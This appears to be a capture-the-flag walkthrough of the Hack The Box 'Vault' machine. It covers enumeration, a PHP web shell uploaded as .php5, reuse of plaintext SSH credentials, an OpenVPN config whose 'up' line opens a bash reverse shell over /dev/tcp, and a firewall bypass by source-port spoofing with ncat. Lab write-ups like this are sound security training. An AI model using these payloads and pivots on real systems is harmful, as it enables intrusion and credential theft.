Vault - Hack The Box

Quick summary

  • An upload page allows us to get RCE by uploading a PHP file with the php5 file extension
  • We can find the SSH credentials in a plaintext file in Dave’s directory
  • After getting a foothold on the box, we find another network segment with another machine on it
  • The machine has OpenVPN installed and already has a backdoored ovpn configuration file that let us get a reverse shell there
  • There’s yet another network segment and host that we discover by looking at the routing table and host file
  • The next target is protected by a firewall but the firewall allows us to connect through it by changing the source port of our TCP session
  • After logging in to the last box we find a gpg encrypted file which we can decrypt on the host OS since we have the private key and the password

Detailed steps

Nmap

Port 22 and 80 are open:

# Nmap 7.70 scan initiated Sat Nov  3 23:09:53 2018 as: nmap -F -sC -sV -oA vault 10.10.10.109
Nmap scan report for vault.htb (10.10.10.109)
Host is up (0.023s latency).
Not shown: 98 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
|   256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
|_  256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web enumeration

There’s not much on the main page except a mention about Sparklays

A gobuster scan with big.txt in the root directory reveals nothing but if we start with /sparklays we find a few directories:

# gobuster -q -t 50 -w big.txt -u http://vault.htb -s 200,204,301,302,307

# gobuster -q -t 50 -w big.txt -u http://vault.htb/sparklays -s 200,204,301,302,307
/design (Status: 301)

# gobuster -q -t 50 -w big.txt -u http://vault.htb/sparklays/design -s 200,204,301,302,307
/uploads (Status: 301)

Further scanning with raft-small-words and .html extension reveals design.html:

# gobuster -q -t 50 -w raft-small-words.txt -u http://vault.htb/sparklays/design -x php,html -s 200,204,301,302,307
/uploads (Status: 301)
/design.html (Status: 200)

The link goes to an upload page. Upload pages are interesting because if we can upload a PHP file then we can get RCE on the target machine.

I used a simple PHP command shell:

<html><head></head><body><pre>
<?php system($_GET["cmd"]); ?>
</pre></body></html>

When we try to upload a simple PHP command shell we get a sorry that file type is not allowed error message.

After trying a few different file types, I noticed we can use the .php5 file extension and we get a The file was uploaded successfully message.

We now have RCE:

Found a couple of interesting files in Dave’s desktop folder:

http://vault.htb/sparklays/design/uploads/shell.php5?cmd=ls%20-l%20/home/dave/Desktop

total 12
-rw-rw-r-- 1 alex alex 74 Jul 17 10:30 Servers
-rw-rw-r-- 1 alex alex 14 Jul 17 10:31 key
-rw-rw-r-- 1 alex alex 20 Jul 17 10:31 ssh

The ssh file contains plaintext credentials:

http://vault.htb/sparklays/design/uploads/shell.php5?cmd=cat%20/home/dave/Desktop/ssh

dave
Dav3therav3123

Shell access

Using the SSH credentials we found in Dave’s directory we can now log in:

root@ragingunicorn:~/hackthebox/Machines/Vault# ssh dave@10.10.10.109
dave@10.10.10.109's password:

Last login: Sat Nov  3 19:59:05 2018 from 10.10.15.233
dave@ubuntu:~$

The ~/Desktop directory contains a couple of interesting files:

dave@ubuntu:~/Desktop$ ls -l
total 12
-rw-rw-r-- 1 alex alex 14 Jul 17 10:31 key
-rw-rw-r-- 1 alex alex 74 Jul 17 10:30 Servers
-rw-rw-r-- 1 alex alex 20 Jul 17 10:31 ssh

dave@ubuntu:~/Desktop$ cat key
itscominghome

dave@ubuntu:~/Desktop$ cat Servers
DNS + Configurator - 192.168.122.4
Firewall - 192.168.122.5
The Vault - x

dave@ubuntu:~/Desktop$ cat ssh
dave
Dav3therav3123

The user also has a gpg keyring:

dave@ubuntu:~/.gnupg$ ls -l
total 28
drwx------ 2 dave dave 4096 Jul 17  2018 private-keys-v1.d
-rw------- 1 dave dave 2205 Jul 24  2018 pubring.gpg
-rw------- 1 dave dave 2205 Jul 24  2018 pubring.gpg~
-rw------- 1 dave dave  600 Sep  3  2018 random_seed
-rw------- 1 dave dave 4879 Jul 24  2018 secring.gpg
-rw------- 1 dave dave 1280 Jul 24  2018 trustdb.gpg

Based on the Servers file it seems there are other VMs or containers running. We can confirm this also by checking the network interfaces (there’s a virtual bridge interface with the same subnet mentionned in the Server file:

dave@ubuntu:~/Desktop$ ifconfig
ens33     Link encap:Ethernet  HWaddr 00:50:56:b2:8d:92
          inet addr:10.10.10.109  Bcast:10.10.10.255  Mask:255.255.255.0
          inet6 addr: fe80::250:56ff:feb2:8d92/64 Scope:Link
          inet6 addr: dead:beef::250:56ff:feb2:8d92/64 Scope:Global
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:484701 errors:0 dropped:0 overruns:0 frame:0
          TX packets:372962 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:61423226 (61.4 MB)  TX bytes:123066398 (123.0 MB)

virbr0    Link encap:Ethernet  HWaddr fe:54:00:17:ab:49
          inet addr:192.168.122.1  Bcast:192.168.122.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:34 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2296 (2.2 KB)  TX bytes:731 (731.0 B)

We can do a poor man’s port scan using netcat and find the host 192.168.122.4 with two ports open:

dave@ubuntu:~/Desktop$ nc -nv 192.168.122.4 -z 1-1000 2>&1 | grep -v failed
Connection to 192.168.122.4 22 port [tcp/*] succeeded!
Connection to 192.168.122.4 80 port [tcp/*] succeeded!

We’ll setup SSH port forwarding so we can get to the 2nd host:

root@ragingunicorn:~/hackthebox/Machines/Vault# ssh dave@10.10.10.109 -L 80:192.168.122.4:80

dns-config.php is an invalid link (404).

The 2nd link brings us to a VPN configuration page where we can update an ovpn file.

With gobuster, we find additional information in /notes:

# gobuster -q -t 50 -w big.txt -u http://127.0.0.1 -s 200,204,301,302,307
/notes (Status: 200)

We can grab http://127.0.0.1/123.ovpn:

remote 192.168.122.1
dev tun
nobind
script-security 2
up "/bin/bash -c 'bash -i >& /dev/tcp/192.168.122.1/2323 0>&1'"

And http://127.0.0.1/script.sh:

#!/bin/bash
sudo openvpn 123.ovpn

So it seems that the 123.ovpn file contains a reverse shell payload.

We can just spawn a netcat on the box and trigger the Test VPN function to get a shell:

dave@ubuntu:~$ nc -lvnp 2323
Listening on [0.0.0.0] (family 0, port 2323)
Connection from [192.168.122.4] port 2323 [tcp/*] accepted (family 2, sport 60596)
bash: cannot set terminal process group (1131): Inappropriate ioctl for device
bash: no job control in this shell
root@DNS:/var/www/html# id;hostname
id;hostname
uid=0(root) gid=0(root) groups=0(root)
DNS
root@DNS:/var/www/html#

User flag found in Dave’s directory:

root@DNS:/home/dave# cat user.txt
cat user.txt
a4947...

There’s also SSH credentials in there:

root@DNS:/home/dave# cat ssh
cat ssh
dave
dav3gerous567

Priv Esc

In the web directories, there’s a file that reveals two additional network segments:

  • 192.168.1.0/24
  • 192.168.5.0/24
root@DNS:/var/www/DNS# ls -la
total 20
drwxrwxr-x 3 root root 4096 Jul 17 12:46 .
drwxr-xr-x 4 root root 4096 Jul 17 12:47 ..
drwxrwxr-x 2 root root 4096 Jul 17 10:34 desktop
-rw-rw-r-- 1 root root  214 Jul 17 10:37 interfaces
-rw-rw-r-- 1 root root   27 Jul 17 10:35 visudo

root@DNS:/var/www/DNS# cat visudo
www-data ALL=NOPASSWD: ALL

root@DNS:/var/www/DNS# cat interfaces
auto ens3
iface ens3 inet static
address 192.168.122.4
netmask 255.255.255.0
up route add -net 192.168.5.0 netmask 255.255.255.0 gw 192.168.122.5
up route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.28

There’s a route in the routing table pointing to the firewall:

dave@DNS:~$ netstat -rn
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
192.168.5.0     192.168.122.5   255.255.255.0   UG        0 0          0 ens3
192.168.122.0   0.0.0.0         255.255.255.0   U         0 0          0 ens3

In the host file we can also find a reference to our next target: 192.168.5.2

root@DNS:/home/dave# cat /etc/hosts
cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       DNS
192.168.5.2     Vault

So, we the network topology looks like this:

This network is protected by a firewall, as shown earlier in the Servers file we found. Nmap is already installed on the DNS VM so we can use it to scan 192.168.5.2.

root@DNS:~# nmap -P0 -p 1-10000 -T5 192.168.5.2

Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-04 03:56 GMT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for Vault (192.168.5.2)
Host is up (0.0019s latency).
Not shown: 9998 filtered ports
PORT     STATE  SERVICE
53/tcp   closed domain
4444/tcp closed krb524

Nmap done: 1 IP address (1 host up) scanned in 243.36 seconds

By using the 4444 as a source port we can bypass the firewall and find another open port:

root@DNS:~# nmap -g 4444 -sS -P0 -p 1-1000 192.168.5.2

Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-04 04:16 GMT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for Vault (192.168.5.2)
Host is up (0.0023s latency).
Not shown: 999 closed ports
PORT    STATE SERVICE
987/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 3.84 seconds

We’ll need to SSH in by changing the source port of the TCP socket. To do that we can spawn a ncat listener that redirects to port 987 while changing the source port. Then we just SSH to ourselves on the ncat listening port.

root@DNS:~# ncat -l 2222 --sh-exec "ncat 192.168.5.2 987 -p 4444"
root@DNS:~# ssh -p 2222 dave@127.0.0.1  (password = dav3gerous567)

Last login: Mon Sep  3 16:48:00 2018
dave@vault:~$ id
uid=1001(dave) gid=1001(dave) groups=1001(dave)

vault:~$ ls
root.txt.gpg

The only thing interesting is the root.txt.gpg

We can download this back to the host OS and decrypt it with the itscominghome key we found earlier:

root@DNS:/var/www/html# ncat -l 2222 --sh-exec "ncat 192.168.5.2 987 -p 4444"

dave@ubuntu:~$ scp -P 2222 dave@192.168.122.4:~/root.txt.gpg .
dave@192.168.122.4's password: 
root.txt.gpg                                                          100%  629     0.6KB/s   00:00
dave@ubuntu:~$ gpg -d root.txt.gpg

You need a passphrase to unlock the secret key for
user: "david <dave@david.com>"
4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4)

gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24
      "david <dave@david.com>"
ca468...